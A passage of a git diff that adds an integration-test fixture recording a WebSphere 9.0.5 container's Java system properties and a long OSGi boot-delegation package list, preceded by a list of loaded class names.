+com.ibm.wsspi.bootstrap.WSLauncher +com.ibm.wsspi.bootstrap.WSPreLauncher +openj9.internal.tools.attach.target.CommonDirectory +openj9.internal.tools.attach.target.IPC +openj9.internal.tools.attach.target.WaitLoop +org.apache.commons.iXZXy.ErrorHandler +org.eclipse.core.internal.jobs.Worker +org.eclipse.core.internal.jobs.WorkerPool +org.eclipse.core.launcher.Main +org.eclipse.core.runtime.adaptor.EclipseStarter +org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher +org.eclipse.equinox.internal.app.EclipseAppContainer +org.eclipse.equinox.internal.app.EclipseAppHandle +org.eclipse.osgi.baseadaptor.bundlefile.MRUBundleFileList +org.eclipse.osgi.baseadaptor.bundlefile.ZipBundleFile +org.eclipse.osgi.framework.eventmgr.EventManager +org.eclipse.osgi.framework.eventmgr.EventManager$EventThread diff --git a/integration-test/src/test/resources/infos/WebSphere905ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/WebSphere905ContainerTestBasicInfo.txt new file mode 100644 index 00000000..aaeeda9c --- /dev/null +++ b/integration-test/src/test/resources/infos/WebSphere905ContainerTestBasicInfo.txt @@ -0,0 +1,1084 @@ +# Generated At 2025-08-10 15:04:23 +SystemProps: +file.encoding.pkg: sun.io +ibm.websphere.internalClassAccessMode: allow +org.osgi.framework.executionenvironment: OSGi/Minimum-1.0,OSGi/Minimum-1.1,OSGi/Minimum-1.2,JRE-1.1,J2SE-1.2,J2SE-1.3,J2SE-1.4,J2SE-1.5,JavaSE-1.6,JavaSE-1.7,JavaSE-1.8 +osgi.framework: file:/opt/IBM/WebSphere/AppServer/plugins/org.eclipse.osgi_.jar +java.home: /opt/IBM/WebSphere/AppServer/java/8.0/jre +eclipse.application: com.ibm.ws.bootstrap.WSLauncher +org.osgi.framework.bootdelegation: com.ibm.crypto.provider,javax.management,com.ibm.CORBA.iiop,com.ibm.rmi.util, com.ibm.security.x509,com.ibm.jsse2,com.ibm.jtc.orb.map,com.sun.jmx.mbeanserver, org.omg.CORBA,org.apache.xerces.impl.dv.xs,javax.xml.bind.annotation,com.ibm.rmi.corba, org.apache.xml.serializer,com.ibm.rmi.iiop,com.ibm.rmi.io,org.apache.xerces.impl.xs, com.ibm.ws.tcp.channel.impl,org.apache.xerces.util,org.apache.xerces.impl,org.apache.xerces.dom, javax.crypto,javax.net.ssl,javax.naming,com.ibm.xml.xlxp.scan.util, org.omg.PortableInterceptor,org.apache.xerces.xs,com.ibm.security.util,org.apache.xerces.impl.xs.traversers, javax.xml.bind,org.apache.xerces.parsers,org.apache.xerces.impl.xpath.regex,javax.xml.soap, com.ibm.lang.management,javax.xml.ws,javax.security.auth,com.ibm.oti.shared, org.apache.xerces.xni.parser,org.w3c.dom,org.objectweb.asm,javax.xml.stream, com.ibm.xml.xlxp.api.util,com.ibm.ws.channel.framework.impl,com.ibm.tools.attach.javaSE,com.ibm.security.bootstrap, org.xml.sax,org.apache.xerces.impl.dtd,javax.xml.transform,javax.security.auth.login, com.ibm.xtq.xslt.jaxp,com.ibm.misc,org.omg.CORBA.portable,javax.transaction, javax.imageio.spi,com.ibm.wsspi.channel.framework,com.ibm.ws.bootstrap,com.ibm.wsspi.channel,javax.xml.parsers, com.ibm.xml.xlxp.api.stax,com.ibm.wsspi.channel.framework.exception,org.apache.xerces.jaxp.validation,org.apache.xerces.impl.xs.opti, org.apache.xerces.impl.dv,javax.xml.datatype,javax.management.remote.rmi,javax.management.remote, com.ibm.ws.javax.activity,org.omg.CosNaming,org.apache.xerces.xni,javax.rmi.CORBA, javax.management.modelmbean,com.ibm.security.pkcs12,org.apache.xml.serialize,javax.xml.validation, com.ibm.rmi,org.apache.xerces.impl.xs.models,org.apache.xerces.impl.dtd.models,com.sun.naming.internal, com.ibm.rmi.util.ranges,com.ibm.oti.vm,org.xml.sax.helpers,org.omg.IOP, org.omg.CosNaming.NamingContextPackage,org.apache.xerces.impl.dv.dtd,javax.sql,javax.management.openmbean, com.ibm.security.util.calendar,com.ibm.security.jgss,org.apache.xerces.xni.grammars,org.apache.xerces.jaxp, org.apache.xerces.impl.xs.util,org.apache.harmony.luni.util,javax.naming.spi,javax.crypto.spec, com.sun.jmx.interceptor,com.ibm.xml.xlxp.api.util.encoding,com.ibm.wsspi.tcp.channel,com.ibm.ws.orb, com.ibm.security.pkcs7,com.ibm.rmi.ras,com.ibm.rmi.pi,com.ibm.CORBA.transport, javax.xml.bind.annotation.adapters,javax.jws,com.sun.imageio.spi,com.ibm.xtq.xslt.runtime, com.ibm.xml.xlxp.scan,com.ibm.ws.timeutils,com.ibm.ws.channel.framework.internals.impl,com.ibm.ws.channel.framework, com.ibm.websphere.channel.framework,com.ibm.security.util.text,com.ibm.rmi.transport,org.xml.sax.ext, javax.security.auth.callback,javax.annotation,com.sun.jmx.remote.internal,com.ibm.wsspi.runtime, com.ibm.wsspi.channel.base,com.ibm.ws.util.objectpool,com.ibm.security.cert,com.ibm.jvm.io, org.omg.CORBA_2_3.portable,org.ietf.jgss,org.apache.xerces.xs.datatypes,org.apache.xerces.impl.validation, javax.xml.ws.wsaddressing,javax.jws.soap,com.sun.jndi.ldap,com.ibm.xml.xlxp.scan.msg, com.ibm.ws.buffermgmt.impl,com.ibm.security.pkcsutil,com.ibm.security.pkcs9,com.ibm.rmi.util.buffer, com.ibm.nws.ffdc,org.w3c.dom.events,org.omg.IOP.CodecPackage,org.apache.xerces.impl.xs.identity, org.apache.xerces.impl.io,javax.xml.transform.stream,javax.xml.transform.sax,javax.xml.namespace, javax.transaction.xa,javax.rmi,javax.naming.directory,javax.activation, com.sun.jmx.remote.protocol.iiop,com.sun.imageio.plugins.jpeg,com.sun.beans.finder,com.sun.beans, com.ibm.ws.channel.framework.chains.impl,com.ibm.ws.channel.framework.chains,com.ibm.security.validator,com.ibm.security.jgss.mech.spnego, com.ibm.security.ec,com.ibm.oti.util,com.ibm.jvm,com.ibm.jsse, org.omg.stub.javax.management.remote.rmi,org.omg.PortableInterceptor.ORBInitInfoPackage,org.omg.DynamicAny,javax.xml.ws.soap, javax.xml.transform.stax,javax.xml.transform.dom,javax.xml.bind.helpers,javax.security.cert, javax.security.auth.kerberos,javax.net,javax.management.loading,javax.imageio.stream, javax.imageio,com.sun.xml.internal.bind.marshaller,com.sun.jmx.remote.util,com.sun.imageio.plugins.wbmp, com.sun.imageio.plugins.png,com.sun.imageio.plugins.gif,com.sun.imageio.plugins.bmp,com.ibm.xtq.xml.xdm, com.ibm.xml.xlxp.api.stax.msg,com.ibm.xml.enc,com.ibm.wsspi.channel.impl,com.ibm.wsspi.buffermgmt, com.ibm.ws.tcp.channel.resources,com.ibm.ws.channel.resources,com.ibm.ws.channel.framework.internals,com.ibm.ws.buffermgmt.resources, com.ibm.security.sasl,com.ibm.security.pkcs8,com.ibm.security.cmskeystore,com.ibm.security.auth, com.ibm.rmi.util.list,com.ibm.pkcs11,com.ibm.oti.security,com.ibm.nws.ejs.ras, com.ibm.crypto.pkcs11impl.provider,com.ibm.CORBA.ras,com.ibm.CORBA.channel.giop,org.w3c.dom.traversal, org.w3c.dom.ranges,org.w3c.dom.html,org.omg.PortableServer,org.omg.IOP.CodecFactoryPackage, org.omg.CosNaming.NamingContextExtPackage,org.omg.CORBA_2_3,org.omg.CORBA.TypeCodePackage,org.omg.CORBA.ORBPackage, org.apache.xerces.jaxp.datatype,org.apache.xerces.impl.msg,javax.xml.ws.handler,javax.xml.stream.util, javax.security.auth.x500,javax.security.auth.spi,javax.naming.ldap,javax.accessibility, com.sun.xml.internal.stream,com.sun.tools.internal.ws,com.sun.jmx.defaults,com.ibm.xylem.utils, com.ibm.xtq.xslt.runtime.output,com.ibm.xtq.xslt.jaxp.compiler,com.ibm.xtq.xml.xdm.dtm,com.ibm.xtq.ast.parsers.xslt, com.ibm.xml.xlxp.api.sax.impl,com.ibm.xml.crypto,com.ibm.wsspi.channel.ws390,com.ibm.security.krb5, com.ibm.rmi.javax.rmi.CORBA,com.ibm.rmi.javax.rmi,com.ibm.rmi.corba.DynamicAny,com.ibm.rmi.channel.giop, com.ibm.rmi.channel,com.ibm.pkcs11.nat,com.ibm.oti.lang,com.ibm.nws.util, com.ibm.net,com.ibm.jvm.util,com.ibm.jsse2.util,com.ibm.amino.map, com.ibm.Compiler.Internal,com.ibm.CORBA.poa,com.ibm.CORBA.channel.orb,com.ibm.CORBA.channel, sunw.util,sunw.io,org.w3c.dom.xpath,org.w3c.dom.views, org.w3c.dom.stylesheets,org.w3c.dom.ls,org.w3c.dom.css,org.w3c.dom.bootstrap, org.relaxng.datatype.helpers,org.relaxng.datatype,org.omg.stub.java.util,org.omg.stub.java.security, org.omg.stub.java.rmi,org.omg.stub.java.lang,org.omg.stub.java.io,org.omg.SendingContext, org.omg.PortableServer.portable,org.omg.PortableServer.ServantLocatorPackage,org.omg.PortableServer.POAPackage,org.omg.PortableServer.POAManagerPackage, org.omg.PortableServer.CurrentPackage,org.omg.Messaging,org.omg.DynamicAny.DynAnyPackage,org.omg.DynamicAny.DynAnyFactoryPackage, org.omg.Dynamic,org.omg.CORBA.DynAnyPackage,org.objectweb.asm.signature,org.apache.xpath.res, org.apache.xpath.patterns,org.apache.xpath.operations,org.apache.xpath.objects,org.apache.xpath.jaxp, org.apache.xpath.functions,org.apache.xpath.domapi,org.apache.xpath.compiler,org.apache.xpath.axes, org.apache.xpath,org.apache.xmlcommons,org.apache.xml.utils.res,org.apache.xml.utils, org.apache.xml.serializer.utils,org.apache.xml.serializer.unicode,org.apache.xml.serializer.dom3,org.apache.xml.serializer.charmap, org.apache.xml.res,org.apache.xml.dtm.ref.sax2dtm,org.apache.xml.dtm.ref.dom2dtm,org.apache.xml.dtm.ref, org.apache.xml.dtm,org.apache.xerces.xpointer,org.apache.xerces.xinclude,org.apache.xerces.impl.xpath, org.apache.xerces.impl.dv.util,org.apache.xerces.dom3.as,org.apache.xerces.dom.events,org.apache.xalan.xsltc.cmdline.res, org.apache.xalan.xsltc.cmdline.getopt,org.apache.xalan.xsltc.cmdline,org.apache.xalan.xslt,org.apache.xalan.transformer, org.apache.xalan.trace,org.apache.xalan.templates,org.apache.xalan.serialize,org.apache.xalan.res, org.apache.xalan.processor,org.apache.xalan.lib.sql,org.apache.xalan.lib,org.apache.xalan.extensions, org.apache.xalan.client,org.apache.xalan,org.apache.wml.dom,org.apache.wml, org.apache.html.dom,org.apache.harmony.sql.internal.rowset,org.apache.harmony.sql.internal.nls,org.apache.harmony.security.x509, org.apache.harmony.security.x501,org.apache.harmony.security.utils,org.apache.harmony.security.provider.crypto,org.apache.harmony.security.provider, org.apache.harmony.security.internal.nls,org.apache.harmony.security.fortress,org.apache.harmony.security.asn1,org.apache.harmony.security, org.apache.harmony.math.internal.nls,org.apache.harmony.luni.internal.process,org.apache.harmony.luni.internal.nls,org.apache.harmony.logging.internal.nls, org.apache.harmony.kernel.vm,org.apache.harmony.jndi.provider.rmi.registry,org.apache.harmony.jndi.provider.rmi,org.apache.harmony.jndi.provider.dns, org.apache.harmony.jndi.provider,org.apache.harmony.jndi.internal.parser,org.apache.harmony.jndi.internal.nls,org.apache.harmony.jndi.internal, org.apache.harmony.beans.internal.nls,org.apache.harmony.beans.editors,org.apache.harmony.beans,org.apache.harmony.annotation.internal.nls, netscape.security,netscape.javascript,javax.xml.xpath,javax.xml.ws.spi.http, javax.xml.ws.spi,javax.xml.ws.http,javax.xml.ws.handler.soap,javax.xml.stream.events, javax.xml.crypto.enc.spec,javax.xml.crypto.enc.keyinfo,javax.xml.crypto.enc.dom,javax.xml.crypto.enc, javax.xml.crypto.dsig.spec,javax.xml.crypto.dsig.keyinfo,javax.xml.crypto.dsig.dom,javax.xml.crypto.dsig, javax.xml.crypto.dom,javax.xml.crypto,javax.xml.bind.util,javax.xml.bind.attachment, javax.xml,javax.tools,javax.swing.undo,javax.swing.tree, javax.swing.text.rtf,javax.swing.text.html.parser,javax.swing.text.html,javax.swing.text, javax.swing.table,javax.swing.plaf.synth,javax.swing.plaf.nimbus,javax.swing.plaf.multi, javax.swing.plaf.metal,javax.swing.plaf.basic,javax.swing.plaf,javax.swing.filechooser, javax.swing.event,javax.swing.colorchooser,javax.swing.border,javax.swing, javax.sql.rowset.spi,javax.sql.rowset.serial,javax.sql.rowset,javax.sound.sampled.spi, javax.sound.sampled,javax.sound.midi.spi,javax.sound.midi,javax.security.sasl, javax.script,javax.rmi.ssl,javax.print.event,javax.print.attribute.standard, javax.print.attribute,javax.print,javax.naming.event,javax.management.timer, javax.management.relation,javax.management.monitor,javax.lang.model.util,javax.lang.model.type, javax.lang.model.element,javax.lang.model,javax.jnlp,javax.imageio.plugins.jpeg, javax.imageio.plugins.bmp,javax.imageio.metadata,javax.imageio.event,javax.crypto.interfaces, javax.annotation.processing,javax.activity,ibm.tools.attach,ibm.security.internal.spec, ibm.security.internal.interfaces,ibm.security.internal,com.sun.xml.internal.xsom.visitor,com.sun.xml.internal.xsom.util, com.sun.xml.internal.xsom.parser,com.sun.xml.internal.xsom.impl.util,com.sun.xml.internal.xsom.impl.scd,com.sun.xml.internal.xsom.impl.parser.state, com.sun.xml.internal.xsom.impl.parser,com.sun.xml.internal.xsom.impl,com.sun.xml.internal.xsom,com.sun.xml.internal.ws.wsdl.writer.document.xsd, com.sun.xml.internal.ws.wsdl.writer.document.soap12,com.sun.xml.internal.ws.wsdl.writer.document.soap,com.sun.xml.internal.ws.wsdl.writer.document.http,com.sun.xml.internal.ws.wsdl.writer.document, com.sun.xml.internal.ws.wsdl.writer,com.sun.xml.internal.ws.wsdl.parser,com.sun.xml.internal.ws.wsdl,com.sun.xml.internal.ws.util.xml, com.sun.xml.internal.ws.util.pipe,com.sun.xml.internal.ws.util.localization,com.sun.xml.internal.ws.util.exception,com.sun.xml.internal.ws.util, com.sun.xml.internal.ws.transport.http.server,com.sun.xml.internal.ws.transport.http.client,com.sun.xml.internal.ws.transport.http,com.sun.xml.internal.ws.transport, com.sun.xml.internal.ws.streaming,com.sun.xml.internal.ws.spi,com.sun.xml.internal.ws.server.sei,com.sun.xml.internal.ws.server.provider, com.sun.xml.internal.ws.server,com.sun.xml.internal.ws.resources,com.sun.xml.internal.ws.protocol.xml,com.sun.xml.internal.ws.protocol.soap, com.sun.xml.internal.ws.policy.subject,com.sun.xml.internal.ws.policy.spi,com.sun.xml.internal.ws.policy.sourcemodel.wspolicy,com.sun.xml.internal.ws.policy.sourcemodel.attach, com.sun.xml.internal.ws.policy.sourcemodel,com.sun.xml.internal.ws.policy.privateutil,com.sun.xml.internal.ws.policy.jaxws.spi,com.sun.xml.internal.ws.policy.jaxws, com.sun.xml.internal.ws.policy,com.sun.xml.internal.ws.org.objectweb.asm,com.sun.xml.internal.ws.model.wsdl,com.sun.xml.internal.ws.model.soap, com.sun.xml.internal.ws.model,com.sun.xml.internal.ws.message.stream,com.sun.xml.internal.ws.message.source,com.sun.xml.internal.ws.message.saaj, com.sun.xml.internal.ws.message.jaxb,com.sun.xml.internal.ws.message,com.sun.xml.internal.ws.handler,com.sun.xml.internal.ws.fault, com.sun.xml.internal.ws.encoding.xml,com.sun.xml.internal.ws.encoding.soap.streaming,com.sun.xml.internal.ws.encoding.soap,com.sun.xml.internal.ws.encoding.policy, com.sun.xml.internal.ws.encoding.fastinfoset,com.sun.xml.internal.ws.encoding,com.sun.xml.internal.ws.developer,com.sun.xml.internal.ws.config.management.policy, com.sun.xml.internal.ws.client.sei,com.sun.xml.internal.ws.client.dispatch,com.sun.xml.internal.ws.client,com.sun.xml.internal.ws.binding, com.sun.xml.internal.ws.api.wsdl.writer,com.sun.xml.internal.ws.api.wsdl.parser,com.sun.xml.internal.ws.api.streaming,com.sun.xml.internal.ws.api.server, com.sun.xml.internal.ws.api.policy,com.sun.xml.internal.ws.api.pipe.helper,com.sun.xml.internal.ws.api.pipe,com.sun.xml.internal.ws.api.model.wsdl, com.sun.xml.internal.ws.api.model.soap,com.sun.xml.internal.ws.api.model,com.sun.xml.internal.ws.api.message.stream,com.sun.xml.internal.ws.api.message, com.sun.xml.internal.ws.api.handler,com.sun.xml.internal.ws.api.ha,com.sun.xml.internal.ws.api.fastinfoset,com.sun.xml.internal.ws.api.config.management.policy, com.sun.xml.internal.ws.api.config.management,com.sun.xml.internal.ws.api.client,com.sun.xml.internal.ws.api.addressing,com.sun.xml.internal.ws.api, com.sun.xml.internal.ws.addressing.v200408,com.sun.xml.internal.ws.addressing.policy,com.sun.xml.internal.ws.addressing.model,com.sun.xml.internal.ws.addressing, com.sun.xml.internal.ws,com.sun.xml.internal.txw2.output,com.sun.xml.internal.txw2.annotation,com.sun.xml.internal.txw2, com.sun.xml.internal.stream.events,com.sun.xml.internal.stream.buffer.stax,com.sun.xml.internal.stream.buffer.sax,com.sun.xml.internal.stream.buffer, com.sun.xml.internal.rngom.xml.util,com.sun.xml.internal.rngom.xml.sax,com.sun.xml.internal.rngom.util,com.sun.xml.internal.rngom.parse.xml, com.sun.xml.internal.rngom.parse.host,com.sun.xml.internal.rngom.parse.compact,com.sun.xml.internal.rngom.parse,com.sun.xml.internal.rngom.nc, com.sun.xml.internal.rngom.dt.builtin,com.sun.xml.internal.rngom.dt,com.sun.xml.internal.rngom.digested,com.sun.xml.internal.rngom.binary.visitor, com.sun.xml.internal.rngom.binary,com.sun.xml.internal.rngom.ast.util,com.sun.xml.internal.rngom.ast.om,com.sun.xml.internal.rngom.ast.builder, com.sun.xml.internal.org.jvnet.staxex,com.sun.xml.internal.org.jvnet.mimepull,com.sun.xml.internal.org.jvnet.fastinfoset.stax,com.sun.xml.internal.org.jvnet.fastinfoset.sax.helpers, com.sun.xml.internal.org.jvnet.fastinfoset.sax,com.sun.xml.internal.org.jvnet.fastinfoset,com.sun.xml.internal.messaging.saaj.util.transform,com.sun.xml.internal.messaging.saaj.util, com.sun.xml.internal.messaging.saaj.soap.ver1_2,com.sun.xml.internal.messaging.saaj.soap.ver1_1,com.sun.xml.internal.messaging.saaj.soap.name,com.sun.xml.internal.messaging.saaj.soap.impl, com.sun.xml.internal.messaging.saaj.soap.dynamic,com.sun.xml.internal.messaging.saaj.soap,com.sun.xml.internal.messaging.saaj.packaging.mime.util,com.sun.xml.internal.messaging.saaj.packaging.mime.internet, com.sun.xml.internal.messaging.saaj.packaging.mime,com.sun.xml.internal.messaging.saaj.client.p2p,com.sun.xml.internal.messaging.saaj,com.sun.xml.internal.fastinfoset.vocab, com.sun.xml.internal.fastinfoset.util,com.sun.xml.internal.fastinfoset.tools,com.sun.xml.internal.fastinfoset.stax.util,com.sun.xml.internal.fastinfoset.stax.factory, com.sun.xml.internal.fastinfoset.stax.events,com.sun.xml.internal.fastinfoset.stax,com.sun.xml.internal.fastinfoset.sax,com.sun.xml.internal.fastinfoset.org.apache.xerces.util, com.sun.xml.internal.fastinfoset.dom,com.sun.xml.internal.fastinfoset.alphabet,com.sun.xml.internal.fastinfoset.algorithm,com.sun.xml.internal.fastinfoset, com.sun.xml.internal.dtdparser,com.sun.xml.internal.bind.v2.util,com.sun.xml.internal.bind.v2.schemagen.xmlschema,com.sun.xml.internal.bind.v2.schemagen.episode, com.sun.xml.internal.bind.v2.schemagen,com.sun.xml.internal.bind.v2.runtime.unmarshaller,com.sun.xml.internal.bind.v2.runtime.reflect.opt,com.sun.xml.internal.bind.v2.runtime.reflect, com.sun.xml.internal.bind.v2.runtime.property,com.sun.xml.internal.bind.v2.runtime.output,com.sun.xml.internal.bind.v2.runtime,com.sun.xml.internal.bind.v2.model.runtime, com.sun.xml.internal.bind.v2.model.nav,com.sun.xml.internal.bind.v2.model.impl,com.sun.xml.internal.bind.v2.model.core,com.sun.xml.internal.bind.v2.model.annotation, com.sun.xml.internal.bind.v2.bytecode,com.sun.xml.internal.bind.v2,com.sun.xml.internal.bind.util,com.sun.xml.internal.bind.unmarshaller, com.sun.xml.internal.bind.api.impl,com.sun.xml.internal.bind.api,com.sun.xml.internal.bind.annotation,com.sun.xml.internal.bind, com.sun.tracing.dtrace,com.sun.tracing,com.sun.tools.script.shell,com.sun.tools.jdi.resources, com.sun.tools.jdi,com.sun.tools.jconsole,com.sun.tools.javap.resources,com.sun.tools.javap, com.sun.tools.javah.resources,com.sun.tools.javah.oldjavah,com.sun.tools.javah,com.sun.tools.javadoc.resources, com.sun.tools.javadoc,com.sun.tools.javac.zip,com.sun.tools.javac.util,com.sun.tools.javac.tree, com.sun.tools.javac.sym,com.sun.tools.javac.resources,com.sun.tools.javac.processing,com.sun.tools.javac.parser, com.sun.tools.javac.nio,com.sun.tools.javac.model,com.sun.tools.javac.main,com.sun.tools.javac.jvm, com.sun.tools.javac.file,com.sun.tools.javac.comp,com.sun.tools.javac.code,com.sun.tools.javac.api, com.sun.tools.javac,com.sun.tools.internal.xjc.writer,com.sun.tools.internal.xjc.util,com.sun.tools.internal.xjc.runtime, com.sun.tools.internal.xjc.reader.xmlschema.parser,com.sun.tools.internal.xjc.reader.xmlschema.ct,com.sun.tools.internal.xjc.reader.xmlschema.bindinfo,com.sun.tools.internal.xjc.reader.xmlschema, com.sun.tools.internal.xjc.reader.relaxng,com.sun.tools.internal.xjc.reader.internalizer,com.sun.tools.internal.xjc.reader.gbind,com.sun.tools.internal.xjc.reader.dtd.bindinfo, com.sun.tools.internal.xjc.reader.dtd,com.sun.tools.internal.xjc.reader,com.sun.tools.internal.xjc.outline,com.sun.tools.internal.xjc.model.nav, com.sun.tools.internal.xjc.model,com.sun.tools.internal.xjc.generator.util,com.sun.tools.internal.xjc.generator.bean.field,com.sun.tools.internal.xjc.generator.bean, com.sun.tools.internal.xjc.generator.annotation.spec,com.sun.tools.internal.xjc.generator.annotation.ri,com.sun.tools.internal.xjc.api.util,com.sun.tools.internal.xjc.api.impl.s2j, com.sun.tools.internal.xjc.api.impl.j2s,com.sun.tools.internal.xjc.api,com.sun.tools.internal.xjc.addon.sync,com.sun.tools.internal.xjc.addon.locator, com.sun.tools.internal.xjc.addon.episode,com.sun.tools.internal.xjc.addon.code_injector,com.sun.tools.internal.xjc.addon.at_generated,com.sun.tools.internal.xjc.addon.accessors, com.sun.tools.internal.xjc,com.sun.tools.internal.ws.wsdl.parser,com.sun.tools.internal.ws.wsdl.framework,com.sun.tools.internal.ws.wsdl.document.soap, com.sun.tools.internal.ws.wsdl.document.schema,com.sun.tools.internal.ws.wsdl.document.mime,com.sun.tools.internal.ws.wsdl.document.jaxws,com.sun.tools.internal.ws.wsdl.document.http, com.sun.tools.internal.ws.wsdl.document,com.sun.tools.internal.ws.wscompile,com.sun.tools.internal.ws.util.xml,com.sun.tools.internal.ws.util, com.sun.tools.internal.ws.spi,com.sun.tools.internal.ws.resources,com.sun.tools.internal.ws.processor.util,com.sun.tools.internal.ws.processor.modeler.wsdl, com.sun.tools.internal.ws.processor.modeler.annotation,com.sun.tools.internal.ws.processor.modeler,com.sun.tools.internal.ws.processor.model.jaxb,com.sun.tools.internal.ws.processor.model.java, com.sun.tools.internal.ws.processor.model.exporter,com.sun.tools.internal.ws.processor.model,com.sun.tools.internal.ws.processor.generator,com.sun.tools.internal.ws.processor, com.sun.tools.internal.ws.api.wsdl,com.sun.tools.internal.ws.api,com.sun.tools.internal.jxc.model.nav,com.sun.tools.internal.jxc.gen.config, com.sun.tools.internal.jxc.apt,com.sun.tools.internal.jxc,com.sun.tools.extcheck,com.sun.tools.example.debug.tty, com.sun.tools.example.debug.expr,com.sun.tools.doclets.standard,com.sun.tools.doclets.internal.toolkit.util.links,com.sun.tools.doclets.internal.toolkit.util, com.sun.tools.doclets.internal.toolkit.taglets,com.sun.tools.doclets.internal.toolkit.resources,com.sun.tools.doclets.internal.toolkit.builders,com.sun.tools.doclets.internal.toolkit, com.sun.tools.doclets.formats.html.resources,com.sun.tools.doclets.formats.html.markup,com.sun.tools.doclets.formats.html,com.sun.tools.doclets, com.sun.tools.corba.se.idl.toJavaPortable,com.sun.tools.corba.se.idl.som.idlemit,com.sun.tools.corba.se.idl.som.cff,com.sun.tools.corba.se.idl.constExpr, com.sun.tools.corba.se.idl,com.sun.tools.classfile,com.sun.tools.attach.spi,com.sun.tools.attach, com.sun.tools.apt.util,com.sun.tools.apt.resources,com.sun.tools.apt.mirror.util,com.sun.tools.apt.mirror.type, com.sun.tools.apt.mirror.declaration,com.sun.tools.apt.mirror.apt,com.sun.tools.apt.mirror,com.sun.tools.apt.main, com.sun.tools.apt.comp,com.sun.tools.apt,com.sun.swing.internal.plaf.synth.resources,com.sun.swing.internal.plaf.metal.resources, com.sun.swing.internal.plaf.basic.resources,com.sun.source.util,com.sun.source.tree,com.sun.security.cert.internal.x509, com.sun.script.util,com.sun.script.javascript,com.sun.rowset.providers,com.sun.rowset.internal, com.sun.rowset,com.sun.rmi.rmid,com.sun.org.omg.SendingContext.CodeBasePackage,com.sun.org.omg.SendingContext, com.sun.org.omg.CORBA.portable,com.sun.org.omg.CORBA.ValueDefPackage,com.sun.org.omg.CORBA,com.sun.org.glassfish.gmbal.util, com.sun.org.glassfish.gmbal,com.sun.org.glassfish.external.statistics.impl,com.sun.org.glassfish.external.statistics.annotations,com.sun.org.glassfish.external.statistics, com.sun.org.glassfish.external.probe.provider.annotations,com.sun.org.glassfish.external.probe.provider,com.sun.org.glassfish.external.arc,com.sun.org.glassfish.external.amx, com.sun.org.apache.xpath.internal.jaxp,com.sun.org.apache.xml.internal.security.utils.resolver.implementations,com.sun.org.apache.xml.internal.security.utils.resolver,com.sun.org.apache.xml.internal.security.utils, com.sun.org.apache.xml.internal.security.transforms.params,com.sun.org.apache.xml.internal.security.transforms.implementations,com.sun.org.apache.xml.internal.security.transforms,com.sun.org.apache.xml.internal.security.signature, com.sun.org.apache.xml.internal.security.keys.storage.implementations,com.sun.org.apache.xml.internal.security.keys.storage,com.sun.org.apache.xml.internal.security.keys.keyresolver.implementations,com.sun.org.apache.xml.internal.security.keys.keyresolver, com.sun.org.apache.xml.internal.security.keys.content.x509,com.sun.org.apache.xml.internal.security.keys.content.keyvalues,com.sun.org.apache.xml.internal.security.keys.content,com.sun.org.apache.xml.internal.security.keys, com.sun.org.apache.xml.internal.security.exceptions,com.sun.org.apache.xml.internal.security.encryption,com.sun.org.apache.xml.internal.security.c14n.implementations,com.sun.org.apache.xml.internal.security.c14n.helper, com.sun.org.apache.xml.internal.security.c14n,com.sun.org.apache.xml.internal.security.algorithms.implementations,com.sun.org.apache.xml.internal.security.algorithms,com.sun.org.apache.xml.internal.security, com.sun.org.apache.xerces.internal.parsers,com.sun.org.apache.xerces.internal.jaxp.validation,com.sun.org.apache.xerces.internal.jaxp.datatype,com.sun.org.apache.xerces.internal.jaxp, com.sun.org.apache.xerces.internal.dom,com.sun.org.apache.xalan.internal.xsltc.trax,com.sun.nio.zipfs,com.sun.nio.sctp, com.sun.nio.file,com.sun.net.ssl.internal.www.protocol.https,com.sun.net.ssl.internal.ssl,com.sun.net.ssl, com.sun.net.httpserver.spi,com.sun.net.httpserver,com.sun.mirror.util,com.sun.mirror.type, com.sun.mirror.declaration,com.sun.mirror.apt,com.sun.media.sound,com.sun.management.jmx, com.sun.jnlp,com.sun.jndi.url.rmi,com.sun.jndi.url.ldaps,com.sun.jndi.url.ldap, com.sun.jndi.url.iiopname,com.sun.jndi.url.iiop,com.sun.jndi.url.dns,com.sun.jndi.url.corbaname, com.sun.jndi.toolkit.url,com.sun.jndi.toolkit.dir,com.sun.jndi.toolkit.ctx,com.sun.jndi.toolkit.corba, com.sun.jndi.rmi.registry,com.sun.jndi.ldap.sasl,com.sun.jndi.ldap.pool,com.sun.jndi.ldap.ext, com.sun.jndi.dns,com.sun.jndi.cosnaming,com.sun.jmx.trace,com.sun.jmx.snmp.tasks, com.sun.jmx.snmp.mpm,com.sun.jmx.snmp.internal,com.sun.jmx.snmp.defaults,com.sun.jmx.snmp.daemon, com.sun.jmx.snmp.agent,com.sun.jmx.snmp.IPAcl,com.sun.jmx.snmp,com.sun.jmx.remote.security, com.sun.jmx.remote.protocol.rmi,com.sun.jdi.request,com.sun.jdi.event,com.sun.jdi.connect.spi, com.sun.jdi.connect,com.sun.jdi,com.sun.javaws.util,com.sun.javaws.ui, com.sun.javaws.security,com.sun.javaws.progress,com.sun.javaws.net.protocol.jar,com.sun.javaws.jnl, com.sun.javaws.exceptions,com.sun.javaws,com.sun.javadoc,com.sun.java.util.jar.pack, com.sun.java.swing.plaf.windows.resources,com.sun.java.swing.plaf.windows,com.sun.java.swing.plaf.nimbus,com.sun.java.swing.plaf.motif.resources, com.sun.java.swing.plaf.motif,com.sun.java.swing,com.sun.java.browser.plugin2.liveconnect.v1,com.sun.java.browser.plugin2, com.sun.java.browser.net,com.sun.java.browser.dom,com.sun.java.accessibility.util.java.awt,com.sun.java.accessibility.util, com.sun.jarsigner,com.sun.istack.internal.ws,com.sun.istack.internal.tools,com.sun.istack.internal.logging, com.sun.istack.internal.localization,com.sun.istack.internal,com.sun.inputmethods.internal.thaiim,com.sun.inputmethods.internal.indicim, com.sun.imageio.stream,com.sun.imageio.plugins.common,com.sun.imageio.metadata,com.sun.image.codec.jpeg, com.sun.deploy.xml,com.sun.deploy.util,com.sun.deploy.uitoolkit.ui,com.sun.deploy.uitoolkit.impl.text, com.sun.deploy.uitoolkit.impl.awt.ui,com.sun.deploy.uitoolkit.impl.awt,com.sun.deploy.uitoolkit,com.sun.deploy.ui, com.sun.deploy.trace,com.sun.deploy.si,com.sun.deploy.services,com.sun.deploy.security, com.sun.deploy.resources,com.sun.deploy.pings,com.sun.deploy.perf,com.sun.deploy.panel, com.sun.deploy.net.socket,com.sun.deploy.net.proxy,com.sun.deploy.net.protocol.rmi,com.sun.deploy.net.protocol.javascript, 